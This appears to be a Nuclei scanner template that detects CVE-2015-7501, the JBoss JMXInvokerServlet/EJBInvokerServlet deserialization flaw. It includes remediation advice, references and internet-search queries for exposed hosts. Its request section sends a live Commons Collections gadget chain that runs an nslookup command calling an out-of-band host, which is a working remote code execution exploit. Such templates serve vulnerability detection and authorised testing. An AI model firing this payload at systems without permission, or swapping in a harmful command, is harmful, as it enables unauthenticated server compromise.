Red Hat JBoss - Insecure Deserialization

id: CVE-2015-7501

info:
  name: Red Hat JBoss - Insecure Deserialization
  author: pdteam,DhiyaneshDk
  severity: critical
  description: |
    Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.
  impact: |
    Unauthenticated remote code execution with JBoss service account privileges. Full system compromise possible including file access, credential theft, and lateral movement. Actively exploited by threat actors targeting legacy JBoss deployments.
  remediation: |
    Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7501
    - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
    - https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822
    - https://github.com/ianxtianxt/CVE-2015-7501
    - https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCE
    - https://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-7501
    cwe-id: CWE-502
    epss-score: 0.83274
    epss-percentile: 0.99654
  metadata:
    verified: true
    max-request: 7
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query: http.html:"/jmx-console/" http.title:JBoss
    fofa-query: 'title="JBoss" && body="/jmx-console/"'
  tags: cve2015,cve,jboss,rce,deserialization,java,vulhub,redhat,oast,intrusive,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/jmx-console/"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "jboss", "jmx agent", "jmx-console", "j_security_check", "jboss.system", "jboss.deployment")'
        internal: true

  - raw:
      - |
        POST §endpoint§ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-java-serialized-object
        Accept: application/x-java-serialized-object

        {{generate_java_gadget("commons-collections3.1", "nslookup {{interactsh-url}}", "raw")}}

    attack: clusterbomb

    payloads:
      endpoint:
        - /invoker/JMXInvokerServlet
        - /invoker/EJBInvokerServlet
        - /invoker/readonly

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "classcastexception","jboss")'
# digest: 4a0a0047304502203016fb5d2625c1fb09a4cd4a03123ec068d6c8d61a4b7714fb4a8d1bed1f2ff3022100f0120b3054a29576e25aca1f9f8aa0847449915769b3fcde505630e0d258fe3d:922c64590222798bb761d5b6d8e72950